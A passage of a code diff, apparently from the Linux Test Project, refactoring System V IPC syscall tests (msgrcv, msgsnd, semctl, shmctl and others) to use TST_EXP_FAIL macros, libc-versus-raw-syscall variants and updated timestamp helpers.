 	SAFE_MSGSND(queue_id, &snd_buf, MSGSIZE, 0);
 
-	before_rcv = get_ipc_timestamp();
+	before_rcv = tst_get_fs_timestamp();
 	TEST(msgrcv(queue_id, &rcv_buf, MSGSIZE, 1, 0));
 	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "msgrcv failed");
 		return;
 	}
-	after_rcv = get_ipc_timestamp();
+	after_rcv = tst_get_fs_timestamp();
 
 	if (strcmp(rcv_buf.mtext, snd_buf.mtext) == 0)
 		tst_res(TPASS, "message received(%s) = message sent(%s)",
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c
index 8dd2811..3e4462c 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c
@@ -21,6 +21,8 @@
  *   msgflg and no message of the requested type existed on the message queue.
  */
 
+#define _GNU_SOURCE
+
 #include <string.h>
 #include <sys/wait.h>
 #include <sys/msg.h>
@@ -38,7 +40,7 @@
 static struct buf {
 	long type;
 	char mtext[MSGSIZE];
-} rcv_buf, snd_buf = {MSGTYPE, "hello"};
+} rcv_buf, snd_buf = {2, "hello"};
 
 static struct tcase {
 	int *id;
@@ -49,28 +51,20 @@
 	int exp_user;
 	int exp_err;
 } tcases[] = {
-	{&queue_id, &rcv_buf, 4, 1, 0, 0, E2BIG},
-	{&queue_id, &rcv_buf, MSGSIZE, 1, 0, 1, EACCES},
-	{&queue_id, NULL, MSGSIZE, 1, 0, 0, EFAULT},
-	{&bad_id, &rcv_buf, MSGSIZE, 1, 0, 0, EINVAL},
-	{&queue_id, &rcv_buf, -1, 1, 0, 0, EINVAL},
-	{&queue_id, &rcv_buf, MSGSIZE, 2, IPC_NOWAIT, 0, ENOMSG},
+	{&queue_id, &rcv_buf, MSGSIZE - 1, 2, 0, 0, E2BIG},
+	{&queue_id, &rcv_buf, MSGSIZE,     2, 0, 1, EACCES},
+	{&queue_id, NULL,     MSGSIZE,     2, 0, 0, EFAULT},
+	{&bad_id,   &rcv_buf, MSGSIZE,     2, 0, 0, EINVAL},
+	{&queue_id, &rcv_buf, -1,          2, 0, 0, EINVAL},
+	{&queue_id, &rcv_buf, MSGSIZE,  3, IPC_NOWAIT,              0, ENOMSG},
+	{&queue_id, &rcv_buf, MSGSIZE, -1, IPC_NOWAIT,              0, ENOMSG},
+	{&queue_id, &rcv_buf, MSGSIZE, -1, IPC_NOWAIT | MSG_EXCEPT, 0, ENOMSG},
 };
 
 static void verify_msgrcv(struct tcase *tc)
 {
-	TEST(msgrcv(*tc->id, tc->buffer, tc->msgsz, tc->msgtyp, tc->msgflag));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "smgrcv() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == tc->exp_err) {
-		tst_res(TPASS | TTERRNO, "msgrcv() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO, "msgrcv() failed unexpectedly,"
-			" expected %s but got", tst_strerrno(tc->exp_err));
-	}
+	TST_EXP_FAIL2(msgrcv(*tc->id, tc->buffer, tc->msgsz, tc->msgtyp, tc->msgflag), tc->exp_err,
+		"msgrcv(%i, %p, %i, %ld, %i)", *tc->id, tc->buffer, tc->msgsz, tc->msgtyp, tc->msgflag);
 }
 
 static void do_test(unsigned int n)
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c
index b578e28..ebc583b 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c
@@ -59,21 +59,8 @@
 
 	tst_res(TINFO, "%s", tc->message);
 
-	TEST(msgrcv(queue_id, &rcv_buf, MSGSIZE, tc->msg_type, MSG_COPY | tc->msg_flag));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgrcv() succeeded unexpectedly");
-		SAFE_MSGSND(queue_id, &snd_buf, MSGSIZE, 0);
-		return;
-	}
-
-	if (TST_ERR == tc->exp_err) {
-		tst_res(TPASS | TTERRNO, "msgrcv() failed as expected");
-		return;
-	}
-
-	tst_res(TFAIL | TTERRNO,
-		"msgrcv() failed unexpectedly, expected %s got",
-		tst_strerrno(tc->exp_err));
+	TST_EXP_FAIL2(msgrcv(queue_id, &rcv_buf, MSGSIZE, tc->msg_type, MSG_COPY | tc->msg_flag), tc->exp_err,
+		"msgrcv(%i, %p, %i, %i, %i)", queue_id, &rcv_buf, MSGSIZE, tc->msg_type, MSG_COPY | tc->msg_flag);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
index 4358189..cc385ee 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
@@ -30,16 +30,8 @@
 
 static void verify_msgrcv(void)
 {
-	TEST(msgrcv(queue_id, &rcv_buf, MSGSIZE, 1, 0));
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgrcv() succeeded unexpectedly");
-		return;
-	}
-	if (TST_ERR == EINTR)
-		tst_res(TPASS | TTERRNO, "msgrcv() failed as expected");
-	else
-		tst_res(TFAIL | TTERRNO, "msgrcv() failed expected EINTR but got");
+	TST_EXP_FAIL2(msgrcv(queue_id, &rcv_buf, MSGSIZE, 1, 0), EINTR,
+		"msgrcv(%i, %p, %d, 1, 0)", queue_id, &rcv_buf, MSGSIZE);
 }
 
 static void do_test(void)
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c
index 283b4af..f14526d 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c
@@ -24,15 +24,8 @@
 
 static void verify_msgrcv(void)
 {
-	TEST(msgrcv(queue_id, &rcv_buf, MSGSIZE, 1, 0));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgrcv() succeeded unexpectedly");
-		return;
-	}
-	if (TST_ERR == EIDRM)
-		tst_res(TPASS | TTERRNO, "msgrcv() failed as expected");
-	else
-		tst_res(TFAIL | TTERRNO, "msgrcv() failed expected EIDRM but got");
+	TST_EXP_FAIL2(msgrcv(queue_id, &rcv_buf, MSGSIZE, 1, 0), EIDRM,
+		"msgrcv(%i, %p, %d, 1, 0)", queue_id, &rcv_buf, MSGSIZE);
 }
 
 static void do_test(void)
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c
index 2c687c5..f4bca5e 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c
@@ -201,7 +201,7 @@
 
 	if (strcmp(rcv_buf.mtext, MSG2) == 0 && rcv_buf.type == MSGTYPE2) {
 		tst_res(TPASS,
-		        "msgtyp got the first message in the queue of type msgtyp");
+			"msgtyp got the first message in the queue of type msgtyp");
 	} else {
 		tst_res(TFAIL,
 			"msgtyp didn't get the first message in the queue of type msgtyp");
@@ -226,7 +226,7 @@
 
 	if (strcmp(rcv_buf.mtext, MSG1) == 0 && rcv_buf.type == MSGTYPE1) {
 		tst_res(TPASS,
-		        "-msgtyp got the first message in the queue with the lowest type");
+			"-msgtyp got the first message in the queue with the lowest type");
 	} else {
 		tst_res(TFAIL,
 			"-msgtyp didn't get the first message in the queue with the lowest type");
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
index 432b03d..8232f0c 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
@@ -15,6 +15,7 @@
 
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
+#include "tst_clocks.h"
 #include "libnewipc.h"
 
 static key_t msgkey;
@@ -29,13 +30,13 @@
 	struct msqid_ds qs_buf;
 	time_t before_snd, after_snd;
 
-	before_snd = get_ipc_timestamp();
+	before_snd = tst_get_fs_timestamp();
 	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
 	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "msgsnd() failed");
 		return;
 	}
-	after_snd = get_ipc_timestamp();
+	after_snd = tst_get_fs_timestamp();
 
 	SAFE_MSGCTL(queue_id, IPC_STAT, &qs_buf);
 
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
index 24ef6c5..eca6606 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
@@ -61,18 +61,8 @@
 
 static void verify_msgsnd(struct tcase *tc)
 {
-	TEST(msgsnd(*tc->id, tc->buffer, tc->msgsz, 0));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "smgsnd() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == tc->exp_err) {
-		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
-			" expected %s", tst_strerrno(tc->exp_err));
-	}
+	TST_EXP_FAIL(msgsnd(*tc->id, tc->buffer, tc->msgsz, 0), tc->exp_err,
+		"msgsnd(%i, %p, %i, 0)", *tc->id, tc->buffer, tc->msgsz);
 }
 
 static void do_test(unsigned int n)
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
index ace32cd..f048fa6 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
@@ -41,18 +41,8 @@
 
 static void verify_msgsnd(struct tcase *tc)
 {
-	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, tc->flag));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == tc->exp_err) {
-		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
-			" expected %s", tst_strerrno(tc->exp_err));
-	}
+	TST_EXP_FAIL(msgsnd(queue_id, &snd_buf, MSGSIZE, tc->flag), tc->exp_err,
+		"msgsnd(%i, %p, %i, %i)", queue_id, &snd_buf, MSGSIZE, tc->flag);
 }
 
 static void sighandler(int sig)
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
index 9f462b6..8fc665e 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
@@ -28,18 +28,8 @@
 
 static void verify_msgsnd(void)
 {
-	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == EIDRM) {
-		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO,
-			"msgsnd() failed unexpectedly, expected EIDRM");
-	}
+	TST_EXP_FAIL(msgsnd(queue_id, &snd_buf, MSGSIZE, 0), EIDRM,
+		"msgsnd(%i, %p, %i, 0)", queue_id, &snd_buf, MSGSIZE);
 }
 
 static void do_test(void)
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c
index 0a660c0..84e3384 100644
--- a/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c
@@ -280,7 +280,7 @@
 	 * that are not necessary for this test.
 	 * That's why we define NR_MSGQUEUES as a high boundary for it.
 	 */
-	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
+	MSGMNI = MIN(nr_msgqs, NR_MSGQUEUES);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c
index e151310..a0f894b 100644
--- a/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c
@@ -385,7 +385,7 @@
 	 * that are not necessary for this test.
 	 * That's why we define NR_MSGQUEUES as a high boundary for it.
 	 */
-	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
+	MSGMNI = MIN(nr_msgqs, NR_MSGQUEUES);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c
index 294b401..3cb70ab 100644
--- a/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c
@@ -78,7 +78,7 @@
 
 int main(int argc, char **argv)
 {
-	int i, j, ok, pid;
+	int i, j, ok, pid, free_pids;
 	int count, status;
 	struct sigaction act;
 
@@ -109,6 +109,14 @@
 		}
 	}
 
+	free_pids = tst_get_free_pids(cleanup);
+	if (nprocs >= free_pids) {
+		tst_resm(TINFO,
+			 "Requested number of processes higher than limit (%d > %d), "
+			 "setting to %d", nprocs, free_pids, free_pids);
+		nprocs = free_pids;
+	}
+
 	srand(getpid());
 	tid = -1;
 
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c
index f1c1249..b9ebf90 100644
--- a/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c
@@ -413,12 +413,6 @@
 	tst_resm(TINFO, "Found %d available message queues", MSGMNI);
 
 	free_pids = tst_get_free_pids(cleanup);
-	if (free_pids < 0) {
-		tst_brkm(TBROK, cleanup, "Can't obtain free_pid count");
-	} else if (!free_pids) {
-		tst_brkm(TBROK, cleanup, "No free pids");
-	}
-
 	/* We don't use more than a half of available pids.
 	 * For each child we fork up to 2*maxnkids grandchildren. */
 	maxnprocs = (free_pids / 2) / (1 + 2 * maxnkids);
diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl01.c b/testcases/kernel/syscalls/ipc/semctl/semctl01.c
index b123859..ff691ad 100644
--- a/testcases/kernel/syscalls/ipc/semctl/semctl01.c
+++ b/testcases/kernel/syscalls/ipc/semctl/semctl01.c
@@ -196,10 +196,8 @@
 
 static void func_sval(void)
 {
-	int semv;
-	union semun arr;
+	int semv = SAFE_SEMCTL(sem_id, 4, GETVAL);
 
-	semv = SAFE_SEMCTL(sem_id, 4, GETVAL, arr);
 	if (semv != INCVAL)
 		tst_res(TFAIL, "semaphore value is not what was set");
 	else
diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl03.c b/testcases/kernel/syscalls/ipc/semctl/semctl03.c
index ed2a46b..f9f335e 100644
--- a/testcases/kernel/syscalls/ipc/semctl/semctl03.c
+++ b/testcases/kernel/syscalls/ipc/semctl/semctl03.c
@@ -15,6 +15,7 @@
 #include "tst_test.h"
 #include "lapi/sem.h"
 #include "libnewipc.h"
+#include "lapi/syscalls.h"
 
 static int sem_id = -1;
 static int bad_id = -1;
@@ -23,6 +24,27 @@
 static union semun sem_un = {.buf = &sem_ds};
 static void *semds_ptr = &sem_un;
 static void *bad_ptr;
+static union semun arg = {0};
+
+static int libc_semctl(int semid, int semnum, int cmd, ...)
+{
+	va_list ap;
+
+	va_start(ap, cmd);
+	arg = va_arg(ap, union semun);
+	va_end(ap);
+	return semctl(semid, semnum, cmd, arg);
+}
+
+static int sys_semctl(int semid, int semnum, int cmd, ...)
+{
+	va_list ap;
+
+	va_start(ap, cmd);
+	arg = va_arg(ap, union semun);
+	va_end(ap);
+	return tst_syscall(__NR_semctl, semid, semnum, cmd, arg);
+}
 
 static struct tcases {
 	int *sem_id;
@@ -37,17 +59,37 @@
 	{&sem_id, IPC_SET, &bad_ptr, EFAULT, "invalid union arg"}
 };
 
+static struct test_variants
+{
+	int (*semctl)(int semid, int semnum, int cmd, ...);
+	char *desc;
+} variants[] = {
+	{ .semctl = libc_semctl, .desc = "libc semctl()"},
+#if (__NR_sys_semctl != __LTP__NR_INVALID_SYSCALL)
+	{ .semctl = sys_semctl,  .desc = "__NR_semctl syscall"},
+#endif
+};
+
 static void verify_semctl(unsigned int n)
 {
 	struct tcases *tc = &tests[n];
+	struct test_variants *tv = &variants[tst_variant];
 
-	TST_EXP_FAIL(semctl(*(tc->sem_id), 0, tc->ipc_cmd, *(tc->buf)),
-		     tc->error, "semctl() with %s", tc->message);
+	if (tc->error == EFAULT && tv->semctl == libc_semctl) {
+		tst_res(TCONF, "EFAULT is skipped for libc variant");
+		return;
+	}
+
+	TST_EXP_FAIL(tv->semctl(*(tc->sem_id), 0, tc->ipc_cmd, *(tc->buf)),
+		tc->error, "semctl() with %s", tc->message);
 }
 
 static void setup(void)
 {
 	static key_t semkey;
+	struct test_variants *tv = &variants[tst_variant];
+
+	tst_res(TINFO, "Testing variant: %s", tv->desc);
 
 	semkey = GETIPCKEY();
 
@@ -56,7 +98,7 @@
 	bad_ptr = tst_get_bad_addr(NULL);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
 	if (sem_id != -1)
 		SAFE_SEMCTL(sem_id, 0, IPC_RMID);
@@ -67,4 +109,5 @@
 	.cleanup = cleanup,
 	.test = verify_semctl,
 	.tcnt = ARRAY_SIZE(tests),
+	.test_variants = ARRAY_SIZE(variants),
 };
diff --git a/testcases/kernel/syscalls/ipc/shmat/shmat01.c b/testcases/kernel/syscalls/ipc/shmat/shmat01.c
index f759147..606bdd1 100644
--- a/testcases/kernel/syscalls/ipc/shmat/shmat01.c
+++ b/testcases/kernel/syscalls/ipc/shmat/shmat01.c
@@ -82,7 +82,7 @@
 {
 	int *addr;
 	pid_t pid;
-	int status;
+	int status = 0;
 	struct shmid_ds buf;
 
 	struct test_case_t *tc = &tcases[n];
diff --git a/testcases/kernel/syscalls/ipc/shmat/shmat02.c b/testcases/kernel/syscalls/ipc/shmat/shmat02.c
index 08bb122..53cb6f5 100644
--- a/testcases/kernel/syscalls/ipc/shmat/shmat02.c
+++ b/testcases/kernel/syscalls/ipc/shmat/shmat02.c
@@ -55,8 +55,8 @@
 	if (errno == tc->exp_err) {
 		tst_res(TPASS | TERRNO, "shmat() failed as expected");
 	} else {
-		tst_res(TFAIL | TERRNO, "shmat() failed unexpectedly,"
-			 "expected: %s", tst_strerrno(tc->exp_err));
+		tst_res(TFAIL | TERRNO, "shmat() failed unexpectedly, expected: %s",
+			tst_strerrno(tc->exp_err));
 	}
 }
 
diff --git a/testcases/kernel/syscalls/ipc/shmctl/Makefile b/testcases/kernel/syscalls/ipc/shmctl/Makefile
index 06d72d9..f79ffa6 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/Makefile
+++ b/testcases/kernel/syscalls/ipc/shmctl/Makefile
@@ -3,7 +3,7 @@
 
 top_srcdir              ?= ../../../../..
 
-LTPLIBS = ltpipc ltpnewipc
+LTPLIBS = ltpnewipc
 
 shmctl05: CFLAGS += -pthread
 shmctl05: LDLIBS += -lrt
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
index b32752f..e631b7b 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
@@ -21,6 +21,7 @@
 #include <stdlib.h>
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
+#include "tst_clocks.h"
 #include "libnewipc.h"
 
 #define NCHILD 20
@@ -117,7 +118,7 @@
 	}
 
 	tst_res(TFAIL, "%s shm_nattcg=%li expected %i",
-	        msg, (long)ds1.shm_nattch, exp_nattch);
+		msg, (long)ds1.shm_nattch, exp_nattch);
 }
 
 static void verify_shmstat_attach(void)
@@ -169,14 +170,14 @@
 
 	if (ds->shm_segsz != SHM_SIZE) {
 		tst_res(TFAIL, "%s: shm_segsz=%zu, expected %i",
-		        desc, ds->shm_segsz, SHM_SIZE);
+			desc, ds->shm_segsz, SHM_SIZE);
 	} else {
 		tst_res(TPASS, "%s: shm_segsz=%i", desc, SHM_SIZE);
 	}
 
 	if (ds->shm_cpid != pid) {
 		tst_res(TFAIL, "%s: shm_cpid=%i, expected %i",
-		        desc, ds->shm_cpid, pid);
+			desc, ds->shm_cpid, pid);
 	} else {
 		tst_res(TPASS, "%s: shm_cpid=%i", desc, pid);
 	}
@@ -231,7 +232,7 @@
 	struct shmid_ds dummy_ds;
 	int max_idx, i;
 
-	max_idx = SAFE_SHMCTL(shm_id, SHM_INFO, (void*)&dummy);
+	max_idx = SAFE_SHMCTL(shm_id, SHM_INFO, (void *)&dummy);
 
 	for (i = 0; i <= max_idx; i++) {
 		if (shmctl(i, SHM_STAT, &dummy_ds) == shm_id)
@@ -243,9 +244,9 @@
 
 static void setup(void)
 {
-	ctime_min = get_ipc_timestamp();
+	ctime_min = tst_get_fs_timestamp();
 	shm_id = SAFE_SHMGET(IPC_PRIVATE, SHM_SIZE, IPC_CREAT | SHM_RW);
-	ctime_max = get_ipc_timestamp();
+	ctime_max = tst_get_fs_timestamp();
 
 	shm_idx = get_shm_idx_from_id(shm_id);
 
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c
index 9057b7f..5c6dc53 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c
@@ -32,6 +32,7 @@
 #include "tst_test.h"
 #include "tst_safe_sysv_ipc.h"
 #include "libnewipc.h"
+#include "lapi/syscalls.h"
 
 #define SHM_SIZE 2048
 
@@ -43,6 +44,16 @@
 
 static struct shmid_ds buf;
 
+static int libc_shmctl(int shmid, int cmd, void *buf)
+{
+	return shmctl(shmid, cmd, buf);
+}
+
+static int sys_shmctl(int shmid, int cmd, void *buf)
+{
+	return tst_syscall(__NR_shmctl, shmid, cmd, buf);
+}
+
 static struct tcase {
 	int *shm_id;
 	int cmd;
@@ -63,31 +74,40 @@
 	{&shm_id3, SHM_UNLOCK, &buf, EPERM}
 };
 
+static struct test_variants
+{
+	int (*shmctl)(int shmid, int cmd, void *buf);
+	char *desc;
+} variants[] = {
+	{ .shmctl = libc_shmctl, .desc = "libc shmctl()"},
+#if (__NR_shmctl != __LTP__NR_INVALID_SYSCALL)
+	{ .shmctl = sys_shmctl,  .desc = "__NR_shmctl syscall"},
+#endif
+};
+
 static void verify_shmctl(unsigned int i)
 {
-	TEST(shmctl(*(tc[i].shm_id), tc[i].cmd, tc[i].buf));
+	struct test_variants *tv = &variants[tst_variant];
 
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "shmctl() returned %li", TST_RET);
+	if (tc[i].error == EFAULT && tv->shmctl == libc_shmctl) {
+		tst_res(TCONF, "EFAULT is skipped for libc variant");
 		return;
 	}
 
-	if (TST_ERR == tc[i].error) {
-		tst_res(TPASS | TTERRNO, "shmctl(%i, %i, %p)",
-		        *tc[i].shm_id, tc[i].cmd, tc[i].buf);
-		return;
-	}
-
-	tst_res(TFAIL | TTERRNO, "shmctl(%i, %i, %p) expected %s",
-		*tc[i].shm_id, tc[i].cmd, tc[i].buf, tst_strerrno(tc[i].error));
+	TST_EXP_FAIL(tv->shmctl(*(tc[i].shm_id), tc[i].cmd, tc[i].buf),
+		tc[i].error, "shmctl(%i, %i, %p)", *(tc[i].shm_id), tc[i].cmd, tc[i].buf);
 }
 
 static void setup(void)
 {
+	struct test_variants *tv = &variants[tst_variant];
+
 	key_t shmkey1, shmkey2;
 	struct passwd *ltpuser;
 	int tmp;
 
+	tst_res(TINFO, "Testing variant: %s", tv->desc);
+
 	shm_id3 = SAFE_SHMGET(IPC_PRIVATE, SHM_SIZE, IPC_CREAT | SHM_RW);
 
 	ltpuser = SAFE_GETPWNAM("nobody");
@@ -121,6 +141,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = verify_shmctl,
+	.test_variants = ARRAY_SIZE(variants),
 	.tcnt = ARRAY_SIZE(tc),
 	.needs_root = 1,
 };
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
index 0f700a9..199ee41 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
@@ -23,8 +23,7 @@
 
 	if (TST_RET < 0) {
 		tst_res(TFAIL | TTERRNO,
-		        "shmctl(0, IPC_INFO, ...) returned %li",
-		        TST_RET);
+			"shmctl(0, IPC_INFO, ...) returned %li", TST_RET);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c
index 724610e..b244026 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c
@@ -69,7 +69,7 @@
 	 * size.
 	 */
 	while (fscanf(f, "%*i %i %*i %i %*i %*i %*i %*i %*i %*i %*i %*i %*i %*i %i %i",
-	              &shmid, &size, &rss, &swap) > 0) {
+			&shmid, &size, &rss, &swap) > 0) {
 		used_ids++;
 		shm_rss += rss/page_size;
 		shm_swp += swap/page_size;
@@ -80,28 +80,28 @@
 
 	if (info->used_ids != used_ids) {
 		tst_res(TFAIL, "used_ids = %i, expected %i",
-		        info->used_ids, used_ids);
+			info->used_ids, used_ids);
 	} else {
 		tst_res(TPASS, "used_ids = %i", used_ids);
 	}
 
 	if (info->shm_rss != shm_rss) {
 		tst_res(TFAIL, "shm_rss = %li, expected %li",
-		        info->shm_rss, shm_rss);
+			info->shm_rss, shm_rss);
 	} else {
 		tst_res(TPASS, "shm_rss = %li", shm_rss);
 	}
 
 	if (info->shm_swp != shm_swp) {
 		tst_res(TFAIL, "shm_swp = %li, expected %li",
-		        info->shm_swp, shm_swp);
+			info->shm_swp, shm_swp);
 	} else {
 		tst_res(TPASS, "shm_swp = %li", shm_swp);
 	}
 
 	if (info->shm_tot != shm_tot) {
 		tst_res(TFAIL, "shm_tot = %li, expected %li",
-		        info->shm_tot, shm_tot);
+			info->shm_tot, shm_tot);
 	} else {
 		tst_res(TPASS, "shm_tot = %li", shm_tot);
 	}
@@ -146,7 +146,7 @@
 		tst_res(TPASS, "Counted used = %i", cnt);
 	} else {
 		tst_res(TFAIL, "Counted used = %i, used_ids = %i",
-		        cnt, info.used_ids);
+			cnt, info.used_ids);
 	}
 
 	parse_proc_sysvipc(&info);
@@ -156,6 +156,7 @@
 {
 	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
 	struct shmid_ds temp_ds;
+
 	nobody_uid = ltpuser->pw_uid;
 	root_uid = 0;
 
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c
index f8b76bd..ca668aa 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c
@@ -17,12 +17,12 @@
  * message.
  */
 
-#include "lapi/syscalls.h"
 #include "tst_test.h"
 #include "tst_fuzzy_sync.h"
 #include "tst_safe_pthread.h"
 #include "tst_safe_sysv_ipc.h"
 #include "tst_timer.h"
+#include "lapi/syscalls.h"
 
 static struct tst_fzsync_pair fzsync_pair;
 
@@ -91,12 +91,22 @@
 
 static void cleanup(void)
 {
+	int id;
+
 	tst_fzsync_pair_cleanup(&fzsync_pair);
-	shmctl(0xF00F, IPC_RMID, NULL);
+
+	id = shmget(0xF00F, 4096, 0);
+	if (id == -1) {
+		if (errno != ENOENT)
+			tst_res(TWARN | TERRNO, "shmget()");
+		return;
+	}
+
+	SAFE_SHMCTL(id, IPC_RMID, NULL);
 }
 
 static struct tst_test test = {
-	.timeout = 20,
+	.max_runtime = 10,
 	.setup = setup,
 	.test_all = do_test,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c
index 88fcfe4..bb2abca 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c
@@ -44,7 +44,7 @@
 	}
 
 	tst_res(TFAIL, "shm_perm.mode=%04o, expected %i",
-	        ds->shm_perm.mode, exp_mode);
+		ds->shm_perm.mode, exp_mode);
 }
 
 static void verify_shmset(void)
@@ -73,10 +73,10 @@
 
 	if (ds.shm_ctime <= old_ctime || ds.shm_ctime > old_ctime + 10) {
 		tst_res(TFAIL, "shm_ctime not updated old %li new %li",
-		        (long)old_ctime, (long)ds.shm_ctime);
+			(long)old_ctime, (long)ds.shm_ctime);
 	} else {
 		tst_res(TPASS, "shm_ctime updated correctly diff=%li",
-		        (long)(ds.shm_ctime - old_ctime));
+			(long)(ds.shm_ctime - old_ctime));
 	}
 
 	ds.shm_perm.mode = old_mode;
